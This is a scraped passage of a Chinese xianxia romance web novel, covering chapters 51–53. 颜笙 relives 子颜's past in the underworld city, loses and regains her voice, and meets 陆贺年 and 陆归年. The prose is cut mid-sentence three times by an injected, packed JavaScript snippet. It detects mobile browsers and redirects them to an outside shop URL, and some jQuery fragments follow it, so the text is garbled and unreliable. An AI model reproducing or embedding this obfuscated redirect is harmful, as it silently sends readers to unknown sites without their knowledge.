根据陆归年的记忆,在他成为天道之后,为了整肃桃源境,曾翻查过那里的过往卷宗,为玄鸟时代的冤假错案平反。他若插手“弑神案”,又怎么会任由无辜的子颜被贬下凡? 更何况,子颜转世为颜笙之后,依然能够顺利飞升,这足以说明她身上并没有背负罚印。 还有那个被囚于焚骨楼上、渐渐被遗忘的子幽…… 显然,陆归年的记忆,缺失了一部分。 “天道?”花否听到这话,眼睛瞪得浑圆,面孔惊悚,“我哪有那个胆子去和天道做生意?天道那是言出法随,想要什么,动动念头便有了,何须来我这破当铺里舍近求远?” 颜笙听到这话,有点不信自己的耳朵。 天道怎么还会丢失灵魂?可是陆析和陆归年之间存在的某种联系,他说陆归年灵魂遗失,那应该是真的了。 仙及听懂了,在肩头胡乱比划着,向颜笙解释着来龙去脉。 颜笙碰了一下仙及的头,其实她看得不算太明白,“你是说,子颜用她那个能让死人听了都想还阳的好嗓子,换了陆归年的一缕残魂?” 陆析忽而问花否,“你说去年马大隆砸了有常屋,你可还记得是在去年什么时候?” “中秋节。他说自己中秋节团结不了,也让我没法好好过中秋节。”花否说起来拿着帕子委屈上了。 陆析又问颜笙,“我们那次去画卷探险,也是在中秋。” 颜笙道:“蟾桂宴,自然是在中秋。” 陆析道:“按常理而言,这画里装的是当事人脑海中原原本本的记忆,但在我们未介入之前,里面发生的事就变得难以预料。” 颜笙思索片刻后,回答:“两个历史发展不同的原因,是因为他们的梦境。陆归年多疑,子颜故意拔走他身上的箭头,摆明是要杀他。但他回程后,却急着娶子颜。后来子颜与我说,是陆归年梦见子颜未来被谋害,所以想把她绑在身边,加以保护。” 花否看着两人窃窃私语,心里泛起了嘀咕。 莫不是真动了天道的灵魂?她一直游走灰色地带,自以为游刃有余,只是没想到,居然得罪了天道。 天道虽已死,但是他还有个遗孀颜笙活在世上,那位似乎是子颜的转世。难不成子颜当初让她拿走的灵魂,就是天道的灵魂。 花否趁着那两人交流之际,匆匆溜进有常屋的档案室。那里陈列着数万颗珠子,毕竟是数万年来收集的所有灵魂。 她仔细排查每一颗玻璃球,生怕漏掉那两个活祖宗。 这时候陆析和颜笙也觉察花否不见了,不过陆析进屋时候就在地上撒了磷光粉,两人跟着磷光粉,很快找到了档案室的入口。 陆析推开门,忽而感觉到自己灵魂正在不远处召唤他,便朝着那珠子的方向走去。 仙及进屋后,也能感觉到那颗珠子的召唤,它抢先一步落在珠子的顶端,大抵是想为颜笙指路。 颜笙走到那枚珠子前,把仙及拎到肩膀,她回头看了一眼珠子,竟然有道细微的裂缝,黑色光芒像水似的不断漏出来。 不由自主地,颜笙的手指触碰到那颗珠子,忽感一阵头晕目眩,仿佛有一道白色的幕布蒙在头顶,将她与现实隔绝。 那颗缭绕着黑雾的琉璃珠忽而缠绕上淡黄光芒。 颜笙的身形僵直在架前,双目呆滞地望着珠子,仿佛灵魂被抽走。 花否转头,撞见颜笙抚摸半裂的琉璃珠,忙喊道:“快把她和珠子分开!那颗似要把她灵魂吞了。” 仙及一屁股坐在珠子上,两只前爪抱住颜笙的手指,龇牙咧嘴地往抠。可那指头纹丝未动,仿佛黏在玻璃珠表面似的。 珠子光芒越发明亮,琉璃珠的裂缝越发明显,眼见着将要裂成两半,巨大的黑雾从裂缝里涌出,只朝着后方的陆析而去。 黑光顺入陆析体内被其吸纳,而原先盛放黑光的琉璃珠,逐渐变成透亮的金黄。 陆析的眉心缓缓舒展,又重重沉下。在那团黑雾入体的瞬间,他那双清澈的眸子染上了万年不化的沧桑,整个人散发出一股令人胆寒的威压。他瞥向那颗金黄的珠子,便脱出自己的魂魄,也钻入了那颗珠子。 * “子颜——” “小倔驴。” “小倔驴,你要是再不醒,我去陀铃火渊,把那家伙杀了。” 颜笙耳边传来自己的声音,但那声音似是在唤她。 她费劲地睁眼,视野里浮现一位浓妆艳抹的女子,这长相极为眼熟,似乎是鸣蝉阁里的姚蜚声,也就是崔瑶的生母。 “你总算是醒了。”姚蜚声松了一口气,“做这件事之前怎么没同我商量?要不是牛马村的马大隆跟马大枫夫妇两个撞见,转头又托人告诉了我,我还不知道这事。” 马大隆?马大枫?颜笙心说不就是马小灵那对卧龙凤雏的爹妈吗?可他们两个不是很早就和离了? 她张了张嘴,喉咙里发不出任何声音。她用手狠掐两下喉咙,喉头未有分毫颤动。 她颈间的皮肤白皙,下手自掐时,脖子有些红了。 姚蜚声忙拉过颜笙的双手,裹在自己的掌间:“别费劲了,你都把声音还给了花否,以后要彻底成为哑巴了。” 颜笙愣住了,前一秒还是在有常屋查案的颜笙上神,这会儿竟成为哑巴了。 她一时接受不了,晃了晃脑袋,想把自己从虚妄的梦境摇醒。没想到自己没醒来,脑海中多出一段记忆。 那些记忆是子颜的,包含着不少陆归年的片段。她这才意识到,子颜和她差不多,也不少次动过陆归年的念头,只是最后一次动手前,被奉天人先行鸩杀了。 至于她来有常屋的原因…… 当初她用禁术,把家人的罪孽转移到她身上,从桃源贬谪。本该落上罚印进陀铃火渊受罚,但到她那里落不上印,只能在幽冥城住着。 一千年过去了,她打算去投胎,却被告知生死簿上没有她的名字。陆归年死后,那位小皇帝下令把子颜的尸首从太阴城挖出来,抬回初阳城,本名改成颜笙后迁入陆家祖坟。这导致名字和生死簿上面对不上,以至于无法进入轮回。 颜笙在幽冥城里又晃荡两千年。 陆归年飞升后,在翻阅当年弑神案卷宗时,看见子颜灵魂落不上罚印的事,非要将当年涉案的子颜抓回去,将事情捋清楚。 姚蜚声知道这事,不耐烦地摆摆手:“你说过八百遍了,不必再说了。我知道你惨,生死簿的名字被篡改,自己没法投胎。全家还都被仇家追杀。” 颜笙点点头。 南歌子前几日给她托梦,要她最近小心一点,天道对她们全家下了通缉。同时表示自己暂时安全,躲在一棵空心桃树里。可子幽现在不知所踪,没人能无法联系上。 子颜这才发了昏招,找花否做交易,让陆归年忘掉这桩事,撤去对她的通缉令,从而保障家里所有人的安全。 此刻花否走来,举着水晶球,展示给颜笙:“你瞧瞧你仇家的灵魂碎片,竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他有空都自己来,做事业干脆,还轮得着你磨洋工?”姚蜚声想了想,“这片林子就是他辟的,差点辟到十里地外冥王殿。要不是我赶紧拦着,神尊得误会我们幽冥要造反了。” 张脆枣谄媚道:“您要是打算造反打上桃源,主子一定响应。只是怕这趟走得太久,夫人又赌气不理他,现在只能老老实实地打下手。” 他说的时候调整了一下肩膀的筐,那鲜红的荔枝盈满竹筐。 姚蜚声冷呵两声,“我瞧着你这枣精还贪图人家的荔枝,借着你家主子的名头,在这里骗吃骗喝。” “你不用信,夫人信了就行”张脆枣说完这话,看一眼平时行事大方的颜笙,终于觉察出不对劲,“夫人怎么一直不见出声,该不会惹到姚城主,被毒哑了?” 姚蜚声叹息,然后把今日去有常屋的事告诉了张脆枣。 没想到林间劳作的莲江仙也听见了。 她赶忙撂下背上的筐,从林里跑出来,左手用力扯起颜笙的耳朵,大声嚷道:“身体发肤,受之父母。准许你用自己的声音去交换虚无缥缈的东西了?” 颜笙吃痛,发不出声音,只能露出痛苦的表情。她也不想把声音当掉,可她来的时候,子颜已经自作主张把自己弄成了哑巴。 夜色太深,莲江仙又在气头,没注意到颜笙的表情。 还是姚蜚声解救出颜笙的耳朵。 她把颜笙挡在身后,对莲江仙斥责道:“还不是为了你们这帮父母。她亲娘都给她托梦了,她哪有不过问的道理?要不,你叫她别托梦啊。” 51. 琉璃往事(二) 莲江仙听完,还是有些纳闷:“什么托梦?你是说她生父生母?” 姚蜚声道:“她好像被仇家追杀,那仇家找不到她,就转头通缉她的生父生母。她爹现在失踪了,她娘也躲起来。她又怕你和子参也被盯上,就想着干脆抹去仇人的记忆。” 她对这件事其实了解不深,不过是照着颜笙的意思复述。 莲江仙倒是清楚里面的来龙去脉,联想到近日桃源境的种种传闻。比如,陆归年飞升做了天道,还要清查万年来所有冤假错案。 她心里有数,那仇家八成是陆归年,便说道:“也不是仇家,是个比陆二还棘手的缠人精。” 姚蜚声“哦”了一声,肘尖顶了顶颜笙,说道:“说你什么好,被不喜欢的人缠着,不如去找喜欢的人帮忙。犯不着拿自己开刀。” 颜笙摆摆手,想解释他们都误会陆归年了。 陆归年曾说过,自己是个慢热的人。年少时对女子也曾有过心动,但后来身居高位,背负的责任太重,便渐渐收起这份心思。只想让世间的事尽量公平,从没认真考虑过儿女情长。 还是后来去飞云观视察,他在观中看见修行的颜笙,被她热烈的生命吸引,让他意识到自己也有不公平的一面,于是萌生出要对某一个人偏爱的冲动。 当然,颜笙飞升之后才知道,那两个他偏爱过的女子,其实始终都是她。 姚蜚声装作没看见颜笙的小动作,只怜悯地看了她一眼:“是不是你平日表现得太过弱势,所以爱慕你的男人,都要折腾成这种形状?” 她上下打量了颜笙两眼,又拉起她那两条细白的胳膊晃了晃:“要不,明天跟我去学点法术防身?” 张脆枣笑眯眯地插嘴:“要不让我家主子亲自教?还包吃包住包……男模。” “虚假宣传,退订。”姚蜚声把他的话掐断,扯着颜笙的胳膊道:“我这里也包吃包住,宫里还有三千男宠。” “数量再多有什么用,难找一个自己喜欢的过好日子。”张脆枣抬眼看向颜笙,“夫人您说是吧?” “还好意思说,偷我家荔枝,还想拐我家姑娘。”莲江仙又拧了把张脆枣的耳朵,提溜着他往林子里面拽,“来,我们进去好好说道说道。” 姚蜚声捂着嘴笑了笑,又转头问颜笙:“明天跟我去学法术?” 颜笙摇摇头。她刚才花了极大的力气,才把身体的主导权从子颜手里抢回来。就修为而言,她此刻远在姚蜚声之上,实在不需要跟对方学什么。 姚蜚声低头,略有些失落:“那你好自为之吧。明日再见。有不习惯的地方,尽量跟我说。” 等姚蜚声走远,颜笙背着筐往深林里去,恰好看到张脆枣和莲江仙站在林间窃窃私语。 “你叫他下周找个吉日来。别直接进来,就站在门口。”莲江仙道。 “夫人她肯离开家,跟我家主子回去?之前请了好几次,都被夫人轰出来。”张脆枣有些担忧。 “我想这次应该会的。”莲江仙道,“世上没谁会硬生生把苦吃到底。他选好日子提前通知我,我好做准备。” 颜笙听到这里,悄悄绕路溜回家,装作不知道他们在林间密谈。后面几日她照旧在自家果园里忙活,一切似乎都朝着莲江仙预想的方向走去。 * 成为哑巴的日子里,颜笙倒也不觉得多别扭。她越长大,嘴里的话本就越少,难得有个名正言顺不说话的机会。 兄长子参对子颜忽然变哑一事反应极大,他跑去找花否理论。但花否极为满意颜笙这副嗓音,说什么也不肯退还。 这日清早,颜笙推车把新摘的荔枝送到自己铺子。她出来时,听见外头有争吵声,忙完手头活计,便顺势凑到前面围观。 子参和姚蜚声在街上吵得面红耳赤,吵着吵着动起了手。没过两招,子参就被姚蜚声按在地上。 姚蜚声只对女子展现她那点好脾气,这会儿颜笙没在她眼前,子参偏偏还惹到了她。姚蜚声的戾气在这一刻毫不遮掩,她指尖微动,只听喀嚓一声,子参的右臂便软塌塌地垂了下来。 子参疼得龇牙咧嘴,脸都涨成青紫色,额头汗水直冒。 颜笙想上前劝架,却被人从侧面拉住。人群拥挤,她又是个哑巴,只能动动嘴型,却发不出声音,只好站在原地干着急,眼巴巴看着子参躺在地上哀嚎。 姚蜚声冷眼盯着子参,语气毫无愧色:“我再说一遍。你妹妹阴寿都三千岁了,早就不是小孩子,该为自己的行为负责。” 子参唇色惨白,仍咬着牙道:“可她以后该怎么活下去?她那部分灵魂残缺,投胎后也会是哑巴。在人世间行走,她作为哑巴被人欺负怎么办?” 说着说着,他声音发紧,有些哽咽。 “我看你阴寿将尽,再不投胎很快要变成聻了,就别再操心她的事咯。”姚蜚声听完,神色仍无波动。 幽冥城里家家都有难念的经,姚蜚声早已见惯不怪。她把子参的胳膊重新接回去,随手一丢,扔回路边,冷漠地表示:“你们下辈子未必还是兄妹。” 子参脸贴着草地,不甘心地盯着近在咫尺的碎石。 这时附近忽然升起一圈白烟。 烟雾中走出两道人影,是身穿黑袍的牛头人与马头人。这两位是牛马村出身的官差,受雇冥王殿,专门负责逮捕已到投胎时辰,却迟迟不肯报到的鬼魂。 这对牛马从左右架起子参,对姚蜚声躬身道:“此鬼已经误过一次投胎时辰。冥王与他还是亲戚,这次特命我们务必把人带回去,赶上明日投胎。” 子参眼神木然,瞳仁里毫无灵光。 姚蜚声知道他是放心不下颜笙,便自掏灵石支开两位鬼差,俯身在他耳边低声说了几句。子参眼里的死气这才稍稍散开一些,虽仍是哀伤占了上风。 子参点了点头。牛头人与马头人再次上前,将他架起带走。 要是仍是原本的子颜,只怕根本听不明白子参态度忽然软下来的缘故。 可此时子颜的壳子里,已经换成了颜笙的芯子。她毕竟是上神,本就能听见极小声的对话。 姚蜚声分明对子参说的是:“你娘已经帮子颜安排好出路。过几日陆贺年会来接她,你大可安心上路。” 颜笙目送子参的背影消失在白雾中,街上人群也渐渐散去,姚蜚声不知何时已经离开。她回过头,才发现刚才拉住自己手臂的人是陆贺年,便下意识甩开他的手。 陆贺年消失的这些年,面容比从前清瘦许多,原本略带圆润的鹅蛋脸削成了瓜子,两颊微凹,下巴略微发尖。颜笙记得,万年后再见到他时,他才又慢慢恢复成初见时的模样。 她一时没忍住,伸手碰了碰他的脸颊,又觉得自己此刻的举动太过亲昵,和子颜该有的反应相差太远。 按莲江仙的计划里,两人还在冷战中的状态,需要她“从中作梗”他们才能和好。于是,她便赶紧把手缩了回来。 陆贺年也愣了一下,还当是自己的错觉。见她低着头,以为她是在为兄长投胎之事难过,便柔声安慰:“冥王是我父亲,他比九弟更讲人情,不会为难你哥哥,更不会把你已经赎清的罪过重新算在他头上。” 颜笙点点头,又用手指了指他,再指了指自己,做了个手势,示意他送自己回家。 幽冥城里每日来来往往的人很多,他们之中有不少,离开幽冥城,这一生就再也不会回来。 姚蜚声在楼上望着并肩离去的两人,抿了一口清茶,心情好了不少。总觉得颜笙变哑之后,性子都不那么轴了。当然,这话她绝不会当着本人说出口。 看那两人的身影渐渐消失在街角,她这才走出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156638|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶庄,瞧见黍荼正站在门口。 黍荼扛着一支长枪,用一贯尖锐高亢的嗓门吼道:“兔崽子敢在咱地盘闹事?还不赶紧带路过去,宰了这孙子!” 姚蜚声戳戳身边人,随口问:“又和涂狲打起来了?” 黍荼和城北开肉铺的涂狲,生前是鼠兔和兔狲,就是一对天敌。死后一个占着南城,一个守着北城,向来井水不犯河水。偶尔走错地界,准能吵出一场架来。 黍荼连忙解释:“不是。这回是那龟孙被桃源的狗给欺负了。也不知道桃源哪儿来的一孙子,把涂狲的肉摊掀了。那龟孙就跑来找我,说要打群架。” “桃源的仙人?”姚蜚声挑眉。幽冥原是三不管之地,如今城中多是玄鸟族后裔,而眼下桃源境则是奉天一脉,自然早就下令禁止他们随意出入。 黍荼拍拍脑袋,猛然反应过来:“诶,对,我这脑子!这地方哪来的桃源仙人?该不会那龟孙忽悠我呢吧?” 姚蜚声脸色一沉,当即向全城发布命令:“今日幽冥城所有店铺关闭一日,所有人回家锁好门窗。没有我的命令,谁也不许出门。” 黍荼还想干架,被姚蜚声一瞪,立刻缩回茶庄。百姓们四散奔逃,原本熙熙攘攘的街道,很快空落得一个人影都不见。 姚蜚声一翻手,召出两柄大刀,往北城肉铺走去。远远看见肉摊果然被人掀翻在地,地上满是零散肉块,涂狲却不见踪影。 旁边花坛忽然一动,一只大野猫从里头蹿出,仔细看才发现正是涂狲的原形。他吓得浑身发抖,刚才一直缩在花坛里躲着。 涂狲见来人是城主,这才像是抓到了最后一根稻草,连忙化回人形,朝着对街两里外的包子铺方向一指:“报告城主,桃源狗去了那家包子铺。” 姚蜚声点头,叫他赶紧回家躲好。她抬眼瞥见风中摇曳的“仙肉包子铺”布幌子,对事情大概有了猜想,便是加快了脚步。 包子铺早在姚蜚声下令封城时就关了门,只是里面的桃源人士还不肯走。 姚蜚声走到包子铺门口,瞧见地上堆着被利刃劈成两截的门闩,门内是特意用沉香木做成的柜台。 店内空无一人,她把双刀收回去。 柜台后面藏着这家掌柜包子貂蝉,正要探出身子,结果被姚蜚声一个眼色压了回去,只得继续蹲在暗处不动。 铺子前堂没有人,只有一张桌子,桌面上却还摆着一屉热气腾腾的包子,肉香缭绕着她的鼻尖。 姚蜚声在那张桌旁的长凳坐下。刚挨着板凳,她就听见身边有剑鞘磕到木板的声音。那人似乎刚刚站在门口,看她过来,才故意坐到了她旁边。 “客官要几个包子?”姚蜚声懒懒地偏头,用余光瞥过去,好像是个男子。她抬起眼皮,视线正对上一双温润的眸子。 “两屉包子。”男子端正地坐在凳子上,语气淡淡的。 “这里只有一屉,我又不会蒸包子。还有,你怎么不要一壶酒?”姚蜚声笑着转头,初步判断这男子生得不错,这回便正眼打量起他,像收藏家打量一件文玩。 此人身穿月牙色长袍,眉清骨秀,一副文绉绉而清高气质,右手中指前侧有薄茧,看着像常握笔的读书人。她读书少,向来敬重读书人,看向他的眼神也放得尊重。 不过这人什么底细?桃源的没事跑到幽冥做什么?姚蜚声思前想去,这些日子会勇闯幽冥的愣头青,难道是颜笙那位仇人? 可惜啊,这么隽朗的男子,人却多少有点变态。 她的目光瞬息间由欣赏变为嫌弃,身子往旁边退了退,与他拉开两寸距离,冷冷道:“子颜都说不喜欢你了,你怎么还穷追不舍?人家姑娘不同意,就去骚扰人家父母,这手段也太下三滥了。” 崔攸霁静静听完她这番劈头盖脸的数落,愣愣地问:“子颜是谁?” 52. 琉璃往事(三) 崔攸霁侧眼瞥了姚蜚声一眼,很快又收回视线。 她浑身缭绕着妖气,至少是万年修为的大妖。 这妖脸上涂抹着浓艳的妆,五官却极为清秀,发髻半束,身披玄色薄衣。发髻里插着带流苏的簪子,随着她的行动而发出叮呤当啷的声响。 他目不斜视,表情宛如静水,心头早已沸反盈天。 姚蜚声刚才问他“子颜是谁”,那一刻她甚至怀疑自己是不是认错了人。可再看他对自己这身打扮竟露出一脸不屑,她立刻又确定了自己没认错。 这书生心里肯定有人了,而且一定是子颜。 毕竟她活这么久,能在她面前稳住心神不动摇的男人,除了陆贺年,也就眼前这一个。而陆贺年,喜欢的也正是子颜。 在姚蜚声看来,男子本是低贱的生物,见了她,很少有不神魂颠倒的。 姚蜚声越想,越觉得自己猜测合理。这书生恐怕就是追杀子颜全家的那位“变态”。读书人心思深,而桃源境的仙人更都是伪君子,越看着面善越是蔫坏。 姚蜚声佯作腼腆,慢吞吞从柜台端来一碟醋、一碗清水,推到他面前:“客官尝尝,这可是鲜肉做的包子。” 崔攸霁立刻横剑在两人之间,语气冷硬:“桃源与幽冥不和早有耳闻,幽冥又收留了一批玄鸟人。仙人涉足幽冥,会被啖肉饮血。今日看来,所言不虚。” “仙君此次前来,总不会是为寻什么失踪的仙人?”姚蜚声含笑发问。 崔攸霁犹豫半晌,才开口:“只是来观光。看到不平之事停下来。” 姚蜚声愣了愣,观光这借口真瞎,桃源境谁来这里观光? 而且看他刚才的表情,摆明还真是来寻人的。寻人这么难说出口,估计不请再来,看来就是追着子颜一家来的……那位变态。 她敛去眼中的鄙夷,捧起水碗悠闲地喝了一口,碗边留下唇脂的嫣红:“仙君怀疑我杀人?查案可别查到包子铺来。冥王殿外登闻鼓随时等人敲。” 崔攸霁看一眼远处的招牌,说道:“门口的招牌写得明目张胆,还敢强词夺理?” 姚蜚声望向门口的布幌子,委屈地看着崔攸霁,说道:“原来是这样。这包子是新鲜的猪五花做的,可不是什么仙肉。店里的小二识字不多,写了错别字。 崔攸霁剑尖轻挑,划开了桌上的包子。他凝神感知,肉馅里竟无半分灵气波动,那不过是凡人祭祀祖先时烧化而来的寻常猪肉。 原来仙肉包子只是虚惊一场。 刚才崔攸霁行动时候,腰间挂着的令牌晃动,恰好被姚蜚声瞥见了。 姚蜚声惊觉,那竟是崔家的令牌。崔家是仙族望族,子颜一家提到那“仇家”时态度讳莫如深,恐怕因为提及的就是崔家。 新任神尊崔巍向来偏心亲眷,又觊觎玄鸟的冶炼兵器的秘术,纵容家里的耀祖纠缠玄鸟圣女也就不奇怪了。 一切说得通了。 她顺势收走令牌,指尖轻轻擦过他的手背。那触感带着妖类的冰凉。 崔攸霁从未与女子有过如此近距离接触,耳根瞬间泛红。 “仙君是来查案,还是来找姑娘的?”姚蜚声语气懒散,话音未落,她的手抚上他佩剑的剑穗。崔攸霁心如擂鼓,忙后撤两步。 他正欲拔剑遮掩心慌,手腕却被她覆住。她的掌心柔软,力道却沉重得难以甩开。 “既来之,则安之。”姚蜚声低声道,“别去纠缠不爱你的姑娘,命要紧。乖。” 她语气轻得像在哄着自己养的宠物,再看眼神表情更像在最后一次警告。 “我没纠缠谁,是你在纠缠我。”崔攸霁心底陡然生出不祥预感,忙抽手后退,“误会了。我……改日再来。” “改日叨扰,这是要骚扰谁?”姚蜚声笑意更深,猛地扣住他的手腕。力道之沉,让他动弹不得。 “要不,先陪我几日?”未等他吭声,姚蜚声便硬拽着他向外走。 崔攸霁忙用另一只未被束缚的手,去够横在桌边的佩剑。 仅差一毫厘的距离,剑骤被妖力卷起,直飞向后厨,“咚”一声钉入墙壁,几乎没入半截剑身。 他终于意识到事情的不妙,但此刻已被拉入姚蜚声的怀抱,被包裹在轻蔑的目光中。 姚蜚声亵玩着他的耳朵,依旧柔声说着:“诶。我也没想到这般水平的耀祖,还敢来骚扰妇女。我用了不到一成力,你就动不了了。” 崔攸霁还在试图挣脱束缚,但却只是在做无用功。姚蜚声凑近些,讥诮道:“省点劲,到了我府上再用。” 在她看来,这是顺手替子颜清掉一桩麻烦,白捡个面首,这是对她行侠仗义的奖励。况且这变态细作,应该无论怎么对待,他都受得住吧,也不用多怜惜。 她拖着人回府,关门享受难得不需要怜香惜玉的春宵,毫无心理负担。 * 该来的,终究要来。 近来姚蜚声几乎不露面,只对颜笙托话说,自己新收了个面首,正沉浸新鲜劲儿里,实在顾不上别人,叫她近期有什么事先找陀铃火渊那位。 颜笙按卦推算,今日是诸事顺遂的大吉日。记得她在林间听莲江仙和张脆枣对话,陆贺年会在这周的大吉日接她去陀铃火渊。 清晨,莲江仙忽然唤她过去,语气郑重:“这段日子我想了许多。你兄长离开了,我留在这里也没意义。我准备回桃源境。” 颜笙并不意外,她脑海里有子颜关于这段的记忆,当年的子颜失去嗓音,内心自卑又脆弱,被这一席话逼得心碎离家,想去找姚蜚声诉苦。 可惜姚蜚声忙着和自己的新男宠颠鸾倒凤,又有心撮合子颜和陆贺年,便给门卫下口令,说什么也不准她进门。经历了好一番流浪,子颜走到冥王殿附近,被冥王收留安排在冥王殿里做事。 不过现在的颜笙不是当时的子颜,她在失去嗓音当日,就听到了莲江仙和张脆枣的对话,也提前获悉了她的良苦用心。 原来是准备把她托付给陆贺年,所以在她面前上演这么一出。 颜笙早知道今天就会上演一出“断亲”,打算配合莲江仙的演出。她故意装作极惊讶的样子,指了指自己,意思是那我呢? 莲江仙用力抿唇,说道:“你爱找谁找谁吧?谁愿意接纳你,你就和谁过吧,你自己选。” 颜笙“哦”一声,正要转身离开,瞥见门外陆贺年未至… 按照子颜的记忆,今日陆贺年在陀铃火渊被人挑衅,会被缠住许久。他大概到深夜才摸过来,可惜那时候子颜已经离开了。 于是颜笙悄悄放慢步子,心里默默倒数。 三、二、一 “慢着。” 莲江仙忽然叫住她,“临走前,把那片林子的荔枝采了。至少一百筐。” 颜笙眯着眼睛回忆着。 万年前莲江仙也用这一招拖着子颜,想让她和陆贺年碰面。却没料到陆贺年被对手缠得更久。 而陆贺年当日满身是妖兽的污血,整个人狼狈不堪,他怕吓到子颜,又回去沐浴一番才出发,等赶到的时候,子颜早就已经走了。 不过颜笙又不是子颜。 她当然不会傻傻地慢慢摘荔枝,企望着莲江仙收回成命,然后因为没看到任何人,心灰意冷地走掉。她有法力,能享清福,为嘛不享? 颜笙抬手施法,荔枝成片落入竹筐,速度快得几乎听不见果枝折断声。她又一挥袖,满筐荔枝刹那间被冰封,整齐码在树旁的手推车上。 做完这些,她伸个懒腰,在一棵枝叶繁茂、能遮住大片天空的老荔枝树下坐下,枕着竹筐闭目小憩。 万事俱备,就等陆贺年现身,恭迎她去陀铃火渊。 一只手抚上她的脸颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162371|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顺着侧脸缓缓滑到颈侧,又在她空荡荡的喉咙位置停留。 颜笙心头一暖,以为陆贺年终于到了,捉住那根手指,微笑着睁开眼。 ——却撞上陆归年那张结着冰霜的脸。 颜笙慌张坐起来,笑容僵在脸上。她脑海中第一个想法: 赶紧开溜。 但稍微等了一会儿,她忽而想起来,子颜已经夺走他的记忆。而且按照后来陆归年的自述,这时候的他早就不喜欢子颜了,只当她是未尝解脱的芸芸众生中的一员。 那他来做什么? 颜笙深吸一口气,强迫自己镇定下来。她背过身,弯身挑选荔枝,假装刚才什么都没看见。 一只青白色的手从旁伸入筐内,轻轻拾走她指尖刚触到的那颗。 颜笙抬头,与那双寡淡的眼正面相撞,心里砰砰直跳。 这完全不在记忆里。 她抓住手推车的把手,拔腿就跑。满载的荔枝随着颠簸稀稀拉拉往外掉,在她全然未觉间,不停给身后的追兵指路。 陆归年低头,看着散落一地的荔枝,摇了摇头。他抬手施法,荔枝一颗一颗浮起,他顺着她留下的轨迹,步步逼近。 荔枝的痕迹消失。 陆归年站在林间,环视着四周。 强烈的威压浩浩荡荡地侵袭着整片荔枝林。 在一棵粗壮树干的背后,颜笙贴着树皮屏息不动。听见脚步声渐远,她才缓缓探出半个身子,斜瞥一眼刚才陆归年伫立的地方。 陆归年已经走了。 颜笙深呼出一口气,正要从树后走出来,手腕却被人从后扣住,整个人被拽进一个结实的怀抱,薄荷冷香充斥着鼻腔。 “找到你了。”陆归年的声音自她的头顶传来。 她抬起头,与陆归年那双寡淡的眼对上。面容与陆析完全相同,可眼神截然不同。 陆归年的眼底藏着死气沉沉的暗淡,看谁都淡得像看陌生人。若不是她当年误闯飞颜阁,亲眼见过他收藏的八十尊“颜笙群像”,也不知道他还有情|欲这回事。 不过飞颜阁里没有子颜的神像,都是她变成颜笙后,进入轮回后的打扮,按理说陆归年已经不喜欢子颜了。 毕竟颜笙都看得出来,子颜嫌弃陆归年跟嫌弃个狗似的,没有谁愿意被心爱的女子耍得团团转。 但万一呢…… 她指了指自己,又指了指陆归年,然后坚定地摆摆手,那意思,我们不可能。 陆归年说道:“我的记忆收回来了,你也不用装聋作哑。” 颜笙眼皮子眨了眨,下意识清了清嗓子,好像还真有声音。她摸着失而复得的喉咙,惊讶得忘了害怕:“……好像真的好了。但声音怎么这么陌生?” 比先前的声音要低也要稳,像与她容貌气质更贴合。 “这才是你的声音。” 陆归年刚说完,指尖轻触她的喉咙,一团白光从她颈口透出,落入他的掌心。光团是淡金色冒着墨青色,似乎是妖气。他又道:“姚蜚声的声音,我拿走了。” 眼见着陆归年要离开,而且他身量高步子迈得宽,似乎没想颜笙跟上。 颜笙忙小跑着上前,伸手抓住他的衣袖,“你……到底是哪一个陆归年?若是万年前的陆归年,为何知道我和姚蜚声交换声音的事?” 陆归年停下脚步,没回答她的问题,抬眼望向远处的陀铃火渊,山尖还在不住地冒火星子。他仿佛看穿了颜笙的全部心思,反问道:“你在等他?” 颜笙立刻摇头:“……看情况。你若能把我送回万年后,我就跟你走。” 陆归年回头看颜笙,提醒道:“你可要想好了,出去以后究竟要选择谁。” 颜笙犹豫了一会儿,支支吾吾道:“就不能像姚蜚声那样………” “休想。”陆归年这次回答得干脆。 53. 琉璃往事(四) 颜笙看他反应过度,讶然道:“非要现在选?可……他也没做错什么,反而是我连累他好几次……这不好办。” “就算和离需要冷静期,一千年足够你想清楚了。出去后,我们和离。”陆归年的声音冰冷而决绝。 颜笙耳尖发热:“我就是问问!你……你干嘛反应这么大?随口一说而已,至于么?为了逼我做选择,你连天道还活着这件事都要曝光?“ 她回到这里,多少受子颜的情绪影响,脑子里一乱,话就开始往奇怪的方向跑:“还是……你借陆析的身体这段时日……对别人动心了?” 她只是信口胡说,但越说越心虚,陆析身边的异性,好像也只有元沁雪和她。 于是她又急急补了一句:“不会是元沁雪吧?要真喜欢她,我回头帮你问问她爹袁思邈?” 陆归年沉默片刻,轻轻叹息:“算了。你是真傻。”他袖摆一拂,一点细碎光辉落在草地上,像是将覆盖此地的法阵一层层撤去。 